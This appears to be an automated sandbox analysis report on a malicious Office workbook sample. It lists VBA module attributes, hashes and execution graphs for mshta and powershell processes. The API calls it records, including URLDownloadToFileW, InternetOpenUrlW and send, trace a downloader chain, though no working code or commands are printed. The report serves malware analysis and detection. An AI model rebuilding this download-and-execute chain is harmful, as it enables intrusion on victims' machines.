                                                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                                                7

                                                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                                                8

                                                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                                                Module: Sheet3

                                                                                                                                                                                                Declaration
                                                                                                                                                                                                LineContent
                                                                                                                                                                                                1

                                                                                                                                                                                                Attribute VB_Name = "Sheet3"

                                                                                                                                                                                                2

                                                                                                                                                                                                Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                                                                                                                                                                                                3

                                                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                                                4

                                                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                                                5

                                                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                                                6

                                                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                                                7

                                                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                                                8

                                                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                                                Module: ThisWorkbook

                                                                                                                                                                                                Declaration
                                                                                                                                                                                                LineContent
                                                                                                                                                                                                1

                                                                                                                                                                                                Attribute VB_Name = "ThisWorkbook"

                                                                                                                                                                                                2

                                                                                                                                                                                                Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                                                                                                                                                                                                3

                                                                                                                                                                                                Attribute VB_GlobalNameSpace = False

                                                                                                                                                                                                4

                                                                                                                                                                                                Attribute VB_Creatable = False

                                                                                                                                                                                                5

                                                                                                                                                                                                Attribute VB_PredeclaredId = True

                                                                                                                                                                                                6

                                                                                                                                                                                                Attribute VB_Exposed = True

                                                                                                                                                                                                7

                                                                                                                                                                                                Attribute VB_TemplateDerived = False

                                                                                                                                                                                                8

                                                                                                                                                                                                Attribute VB_Customizable = True

                                                                                                                                                                                                Reset < >

                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                  Function 03320FB1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000004.00000003.420682847.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_4_3_3320000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                  Function 03320FB9 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000004.00000003.420682847.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_4_3_3320000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                  Function 03320FC1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000004.00000003.420682847.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_4_3_3320000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
                                                                                                                                                                                                  • Instruction Fuzzy Hash:

                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                  Execution Coverage:3.8%
                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                  Signature Coverage:0%
                                                                                                                                                                                                  Total number of Nodes:3
                                                                                                                                                                                                  Total number of Limit Nodes:0
                                                                                                                                                                                                  execution_graph 3748 7fe899e59f1 3749 7fe899e5a01 URLDownloadToFileW 3748->3749 3751 7fe899e5b10 3749->3751

                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                  Function 000007FE899E4B18 Relevance: 1.6, APIs: 1, Instructions: 129filenetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451141099.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe899e0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DownloadFile
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1407266417-0
                                                                                                                                                                                                  • Opcode ID: 91e0be47be1b22e69ee23ec7afe8583874e9e75fcd8fa9f53d52958d7a4780b8
                                                                                                                                                                                                  • Instruction ID: 0e6a55d271abf449742941eceac57478b8d17783a4ed0b8bd039e4c3430f1586
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 91e0be47be1b22e69ee23ec7afe8583874e9e75fcd8fa9f53d52958d7a4780b8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 97319071918A5C8FDB58DF5C98857A9BBE1FB69311F00822ED04ED3662CB70A845CB81
                                                                                                                                                                                                  Function 000007FE899E59F1 Relevance: 1.7, APIs: 1, Instructions: 159filenetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451141099.000007FE899E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899E0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe899e0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DownloadFile
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1407266417-0
                                                                                                                                                                                                  • Opcode ID: 34ebbd90bfe60e41099e99df333d6cdf4775ea834f281c17a727b57d352cc3d7
                                                                                                                                                                                                  • Instruction ID: ae473f718915b7518588580849a968be95ac43f87b5244b559c5cb291099a8e3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 34ebbd90bfe60e41099e99df333d6cdf4775ea834f281c17a727b57d352cc3d7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1941027181CB889FDB1ADB6898447F9BBF4FB56321F04826FD089D3162CB646806C782
                                                                                                                                                                                                  Function 000007FE89AB6D50 Relevance: 1.6, Strings: 1, Instructions: 349COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451253485.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: l
                                                                                                                                                                                                  • API String ID: 0-2517025534
                                                                                                                                                                                                  • Opcode ID: 2b89033898e61c84839d8783361602785a85356ec46cd3d6b784dde631816e40
                                                                                                                                                                                                  • Instruction ID: 3502646aee717eb9be72529490221d52658c24452355324b9614f0413b91a5fc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2b89033898e61c84839d8783361602785a85356ec46cd3d6b784dde631816e40
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6391363190CB8D0FE75AE72898456BA3FE5FF86364F1401ABE44DC71A3D614AD26C3A1
                                                                                                                                                                                                  Function 000007FE89AB26E9 Relevance: .7, Instructions: 713COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 67 7fe89ab26e9-7fe89ab2709 68 7fe89ab270b-7fe89ab2785 67->68 69 7fe89ab2787-7fe89ab2799 67->69 68->69 70 7fe89ab2c7d-7fe89ab2d36 69->70 71 7fe89ab279f-7fe89ab27a9 69->71 72 7fe89ab27ab-7fe89ab27b8 71->72 73 7fe89ab27c2-7fe89ab27c9 71->73 72->73 75 7fe89ab27ba-7fe89ab27c0 72->75 76 7fe89ab27cb-7fe89ab27de 73->76 77 7fe89ab27e0 73->77 75->73 78 7fe89ab27e2-7fe89ab27e4 76->78 77->78 81 7fe89ab27ea-7fe89ab27f6 78->81 82 7fe89ab2bf8-7fe89ab2c02 78->82 81->70 85 7fe89ab27fc-7fe89ab2806 81->85 83 7fe89ab2c04-7fe89ab2c14 82->83 84 7fe89ab2c15-7fe89ab2c25 82->84 87 7fe89ab2c27-7fe89ab2c2b 84->87 88 7fe89ab2c32-7fe89ab2c7c 84->88 89 7fe89ab2808-7fe89ab2815 85->89 90 7fe89ab2822-7fe89ab2832 85->90 87->88 89->90 91 7fe89ab2817-7fe89ab2820 89->91 90->82 95 7fe89ab2838-7fe89ab286c 90->95 91->90 95->82 101 7fe89ab2872-7fe89ab287e 95->101 101->70 102 7fe89ab2884-7fe89ab288e 101->102 103 7fe89ab28a7-7fe89ab28ac 102->103 104 7fe89ab2890-7fe89ab289d 102->104 103->82 106 7fe89ab28b2-7fe89ab28b7 103->106 104->103 105 7fe89ab289f-7fe89ab28a5 104->105 105->103 106->82 107 7fe89ab28bd-7fe89ab28c2 106->107 107->82 108 7fe89ab28c8-7fe89ab28d7 107->108 110 7fe89ab28e7 108->110 111 7fe89ab28d9-7fe89ab28e3 108->111 114 7fe89ab28ec-7fe89ab28f9 110->114 112 7fe89ab2903-7fe89ab298e 111->112 113 7fe89ab28e5 111->113 121 7fe89ab29a2-7fe89ab29c4 112->121 122 7fe89ab2990-7fe89ab299b 112->122 113->114 114->112 115 7fe89ab28fb-7fe89ab2901 114->115 115->112 123 7fe89ab29c6-7fe89ab29d0 121->123 124 7fe89ab29d4 121->124 122->121 125 7fe89ab29d2 123->125 126 7fe89ab29f0-7fe89ab2a7e 123->126 127 7fe89ab29d9-7fe89ab29e6 124->127 125->127 134 7fe89ab2a92-7fe89ab2ab0 126->134 135 7fe89ab2a80-7fe89ab2a8b 126->135 127->126 129 7fe89ab29e8-7fe89ab29ee 127->129 129->126 136 7fe89ab2ab2-7fe89ab2abc 134->136 137 7fe89ab2ac0 134->137 135->134 138 7fe89ab2add-7fe89ab2b6d 136->138 139 7fe89ab2abe 136->139 140 7fe89ab2ac5-7fe89ab2ad3 137->140 147 7fe89ab2b6f-7fe89ab2b7a 138->147 148 7fe89ab2b81-7fe89ab2bda 138->148 139->140 140->138 142 7fe89ab2ad5-7fe89ab2adb 140->142 142->138 147->148 151 7fe89ab2be2-7fe89ab2bf7 148->151
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451253485.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 68b997b4d9f88f1331bd5451ae87da5889fa32eede68e6d672eee485c10a02a1
                                                                                                                                                                                                  • Instruction ID: 2c4a29ed29be1ceb96ba4af9a99ccb73b3baa6513dc67428f72d23cdb9c7f073
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 68b997b4d9f88f1331bd5451ae87da5889fa32eede68e6d672eee485c10a02a1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D122F43090CB894FD75ADB2C84546697BE2FF9A344F2401EFD48EC72A3DA24AC56C751
                                                                                                                                                                                                  Function 000007FE89AB5585 Relevance: .4, Instructions: 441COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 152 7fe89ab5585-7fe89ab55c0 153 7fe89ab5617-7fe89ab561a 152->153 154 7fe89ab55c2-7fe89ab55c4 152->154 155 7fe89ab561b-7fe89ab5624 153->155 154->155 156 7fe89ab55c6-7fe89ab5614 154->156 158 7fe89ab563d-7fe89ab5642 155->158 159 7fe89ab5626-7fe89ab5633 155->159 156->153 157 7fe89ab5877-7fe89ab5936 156->157 161 7fe89ab581b-7fe89ab5825 158->161 162 7fe89ab5648-7fe89ab564b 158->162 159->158 160 7fe89ab5635-7fe89ab563b 159->160 160->158 163 7fe89ab5827-7fe89ab5833 161->163 164 7fe89ab5834-7fe89ab5844 161->164 166 7fe89ab564d-7fe89ab5660 162->166 167 7fe89ab5662 162->167 169 7fe89ab5846-7fe89ab584a 164->169 170 7fe89ab5851-7fe89ab5874 164->170 168 7fe89ab5664-7fe89ab5666 166->168 167->168 168->161 172 7fe89ab566c-7fe89ab56a0 168->172 169->170 170->157 179 7fe89ab56b7 172->179 180 7fe89ab56a2-7fe89ab56b5 172->180 182 7fe89ab56b9-7fe89ab56bb 179->182 180->182 182->161 183 7fe89ab56c1-7fe89ab56c9 182->183 183->157 185 7fe89ab56cf-7fe89ab56d9 183->185 186 7fe89ab56db-7fe89ab56e8 185->186 187 7fe89ab56f5-7fe89ab5705 185->187 186->187 188 7fe89ab56ea-7fe89ab56f3 186->188 187->161 190 7fe89ab570b-7fe89ab573c 187->190 188->187 190->161 194 7fe89ab5742-7fe89ab576e 190->194 196 7fe89ab5794 194->196 197 7fe89ab5770-7fe89ab5792 194->197 198 7fe89ab5796-7fe89ab5798 196->198 197->198 198->161 199 7fe89ab579e-7fe89ab57a6 198->199 201 7fe89ab57b6 199->201 202 7fe89ab57a8-7fe89ab57b2 199->202 206 7fe89ab57bb-7fe89ab57c8 201->206 203 7fe89ab57d2-7fe89ab5801 202->203 204 7fe89ab57b4 202->204 210 7fe89ab5808-7fe89ab581a 203->210 204->206 206->203 207 7fe89ab57ca-7fe89ab57d0 206->207 207->203
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451253485.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 3fb3ce87e23836635d8d46ef2922df91a167c3ddf432e8e6a0cd2ffb4aab7cf0
                                                                                                                                                                                                  • Instruction ID: 0e867357a1a5d8c02ce3a025edf4de5e2dc1487b5fd052e44c7a191a4a2d255e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3fb3ce87e23836635d8d46ef2922df91a167c3ddf432e8e6a0cd2ffb4aab7cf0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A8C13530A1DBC90FE74AA76C54546BA7FE1EF4A384F1811EBD48DCB1A3C619AC16C361
                                                                                                                                                                                                  Function 000007FE89AB0F0D Relevance: .4, Instructions: 356COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451253485.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 6eb7684ca60bfe055e87cac8659e3e78876d1841d675442ad80d01ebe84272a4
                                                                                                                                                                                                  • Instruction ID: f0daf2558cf833dd1e032b2807b477127aa544feb66fc4b27ed79d51d6e4b955
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6eb7684ca60bfe055e87cac8659e3e78876d1841d675442ad80d01ebe84272a4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94B1D120A0DBCA0FE747973C58646657FE1EF47254B2D01EBD48DCB2A3D9189C5AC362
                                                                                                                                                                                                  Function 000007FE89AB1100 Relevance: .1, Instructions: 85COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 250 7fe89ab1100-7fe89ab1124 252 7fe89ab112a-7fe89ab119e 250->252 253 7fe89ab11c1-7fe89ab11cb 250->253 263 7fe89ab11a6-7fe89ab11be 252->263 254 7fe89ab11cd-7fe89ab11d7 253->254 255 7fe89ab11d8-7fe89ab11e8 253->255 256 7fe89ab11ea-7fe89ab11ee 255->256 257 7fe89ab11f5-7fe89ab121a 255->257 256->257
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 00000005.00000002.451253485.000007FE89AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89AB0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_5_2_7fe89ab0000_powershell.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 7721bc13e94a269a5f922ca28f007d43f4d88267688e5f21da439b0801c3baa7
                                                                                                                                                                                                  • Instruction ID: c7317095c5b7bc7891ffb2502b3ccca527cbc39695885c4a5cd0ff0214fe4cea
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7721bc13e94a269a5f922ca28f007d43f4d88267688e5f21da439b0801c3baa7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6921EC1060D7C91FE347937C19502657FD2EF8B258B2911EBD98EDB2E3D8044D69C361

                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                  Function 030D0FB9 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000000C.00000003.474612414.00000000030D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_12_3_30d0000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction ID: d5bb9eab59ab3d92ec644a9b005ba6669e90cbb19aef53b3c4262fd5452e28fb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                  Function 030D0FB1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000000C.00000003.474612414.00000000030D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_12_3_30d0000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction ID: d5bb9eab59ab3d92ec644a9b005ba6669e90cbb19aef53b3c4262fd5452e28fb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction Fuzzy Hash:
                                                                                                                                                                                                  Function 030D0FC1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000000C.00000003.474612414.00000000030D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030D0000, based on PE: false
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_12_3_30d0000_mshta.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction ID: d5bb9eab59ab3d92ec644a9b005ba6669e90cbb19aef53b3c4262fd5452e28fb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
                                                                                                                                                                                                  • Instruction Fuzzy Hash:

                                                                                                                                                                                                  Execution Graph

                                                                                                                                                                                                  Execution Coverage:6%
                                                                                                                                                                                                  Dynamic/Decrypted Code Coverage:19.4%
                                                                                                                                                                                                  Signature Coverage:3.7%
                                                                                                                                                                                                  Total number of Nodes:1564
                                                                                                                                                                                                  Total number of Limit Nodes:38
                                                                                                                                                                                                  execution_graph 53054 415d41 53069 41b411 53054->53069 53056 415d4a 53080 4020f6 53056->53080 53061 4170c4 53104 401e8d 53061->53104 53065 401fd8 11 API calls 53066 4170d9 53065->53066 53067 401fd8 11 API calls 53066->53067 53068 4170e5 53067->53068 53110 4020df 53069->53110 53074 41b456 InternetReadFile 53078 41b479 53074->53078 53075 41b4a6 InternetCloseHandle InternetCloseHandle 53077 41b4b8 53075->53077 53077->53056 53078->53074 53078->53075 53079 401fd8 11 API calls 53078->53079 53121 4020b7 53078->53121 53079->53078 53081 40210c 53080->53081 53082 4023ce 11 API calls 53081->53082 53083 402126 53082->53083 53084 402569 28 API calls 53083->53084 53085 402134 53084->53085 53086 404aa1 53085->53086 53087 404ab4 53086->53087 53188 40520c 53087->53188 53089 404ac9 ctype 53090 404b40 WaitForSingleObject 53089->53090 53091 404b20 53089->53091 53093 404b56 53090->53093 53092 404b32 send 53091->53092 53094 404b7b 53092->53094 53194 4210cb 54 API calls 53093->53194 53097 401fd8 11 API calls 53094->53097 53096 404b69 SetEvent 53096->53094 53098 404b83 53097->53098 53099 401fd8 11 API calls 53098->53099 53100 404b8b 53099->53100 53100->53061 53101 401fd8 53100->53101 53102 4023ce 11 API calls 53101->53102 53103 401fe1 53102->53103 53103->53061 53105 402163 53104->53105 53109 40219f 53105->53109 53212 402730 11 API calls 53105->53212 53107 402184 53213 402712 11 API calls std::_Deallocate 53107->53213 53109->53065 53111 4020e7 53110->53111 53127 4023ce 53111->53127 53113 4020f2 53114 43bda0 53113->53114 53119 4461b8 ___crtLCMapStringA 53114->53119 53115 4461f6 53143 44062d 20 API calls __dosmaperr 53115->53143 53116 4461e1 RtlAllocateHeap 53118 41b42f InternetOpenW InternetOpenUrlW 53116->53118 53116->53119 53118->53074 53119->53115 53119->53116 53142 443001 7 API calls 2 library calls 53119->53142 53122 4020bf 53121->53122 53123 4023ce 11 API calls 53122->53123 53124 4020ca 53123->53124 53144 40250a 53124->53144 53126 4020d9 53126->53078 53128 402428 53127->53128 53129 4023d8 53127->53129 53128->53113 53129->53128 53131 4027a7 53129->53131 53132 402e21 53131->53132 53135 4016b4 53132->53135 53134 402e30 53134->53128 53136 4016cb 53135->53136 53137 4016c6 53135->53137 53136->53137 53138 4016f3 53136->53138 53141 43bd68 11 API calls _abort 53137->53141 53138->53134 53140 43bd67 53141->53140 53142->53119 53143->53118 53145 40251a 53144->53145 53146 402520 53145->53146 53147 402535 53145->53147 53151 402569 53146->53151 53161 4028e8 53147->53161 53150 402533 53150->53126 53172 402888 53151->53172 53153 40257d 53154 402592 53153->53154 53155 4025a7 53153->53155 53177 402a34 22 API calls 53154->53177 53157 4028e8 28 API calls 53155->53157 53160 4025a5 53157->53160 53158 40259b 53178 4029da 22 API calls 53158->53178 53160->53150 53162 4028f1 53161->53162 53163 402953 53162->53163 53164 4028fb 53162->53164 53186 4028a4 22 API calls 53163->53186 53167 402904 53164->53167 53169 402917 53164->53169 53180 402cae 53167->53180 53168 402915 53168->53150 53169->53168 53171 4023ce 11 API calls 53169->53171 53171->53168 53173 402890 53172->53173 53174 402898 53173->53174 53179 402ca3 22 API calls 53173->53179 53174->53153 53177->53158 53178->53160 53181 402cb8 __EH_prolog 53180->53181 53187 402e54 22 API calls 53181->53187 53183 4023ce 11 API calls 53185 402d92 53183->53185 53184 402d24 53184->53183 53185->53168 53187->53184 53189 405214 53188->53189 53190 4023ce 11 API calls 53189->53190 53191 40521f 53190->53191 53195 405234 53191->53195 53193 40522e 53193->53089 53194->53096 53196 405240 53195->53196 53197 40526e 53195->53197 53198 4028e8 28 API calls 53196->53198 53211 4028a4 22 API calls 53197->53211 53201 40524a 53198->53201 53201->53193 53212->53107 53213->53109 53214 10006d60 53215 10006d69 53214->53215 53216 10006d72 53214->53216 53218 10006c5f 53215->53218 53238 10005af6 GetLastError 53218->53238 53220 10006c6c 53258 10006d7e 53220->53258 53222 10006c74 53267 100069f3 53222->53267 53225 10006c8b 53225->53216 53228 10006cce 53292 1000571e 20 API calls __dosmaperr 53228->53292 53232 10006cc9 53291 10006368 20 API calls __dosmaperr 53232->53291 53234 10006d12 53234->53228 53294 100068c9 26 API calls 53234->53294 53235 10006ce6 53235->53234 53293 1000571e 20 API calls __dosmaperr 53235->53293 53239 10005b12 53238->53239 53240 10005b0c 53238->53240 53244 10005b61 SetLastError 53239->53244 53296 1000637b 20 API calls __dosmaperr 53239->53296 53295 10005e08 11 API calls 2 library calls 53240->53295 53243 10005b24 53245 10005b2c 53243->53245 53298 10005e5e 11 API calls 2 library calls 53243->53298 53244->53220 53297 1000571e 20 API calls __dosmaperr 53245->53297 53248 10005b41 53248->53245 53250 10005b48 53248->53250 53249 10005b32 53252 10005b6d SetLastError 53249->53252 53299 1000593c 20 API calls __dosmaperr 53250->53299 53301 100055a8 38 API calls _abort 53252->53301 53253 10005b53 53300 1000571e 20 API calls __dosmaperr 53253->53300 53257 10005b5a 53257->53244 53257->53252 53259 10006d8a ___DestructExceptionObject 53258->53259 53260 10005af6 _abort 38 API calls 53259->53260 53261 10006d94 53260->53261 53264 10006e18 _abort 53261->53264 53302 100055a8 38 API calls _abort 53261->53302 53303 10005671 RtlEnterCriticalSection 53261->53303 53304 1000571e 20 API calls __dosmaperr 53261->53304 53305 10006e0f RtlLeaveCriticalSection _abort 53261->53305 53264->53222 53306 100054a7 53267->53306 53270 10006a14 GetOEMCP 53272 10006a3d 53270->53272 53271 10006a26 53271->53272 53273 10006a2b GetACP 53271->53273 53272->53225 53274 100056d0 53272->53274 53273->53272 53275 1000570e 53274->53275 53279 100056de __dosmaperr 53274->53279 53317 10006368 20 API calls __dosmaperr 53275->53317 53276 100056f9 RtlAllocateHeap 53278 1000570c 53276->53278 53276->53279 53278->53228 53281 10006e20 53278->53281 53279->53275 53279->53276 53316 1000474f 7 API 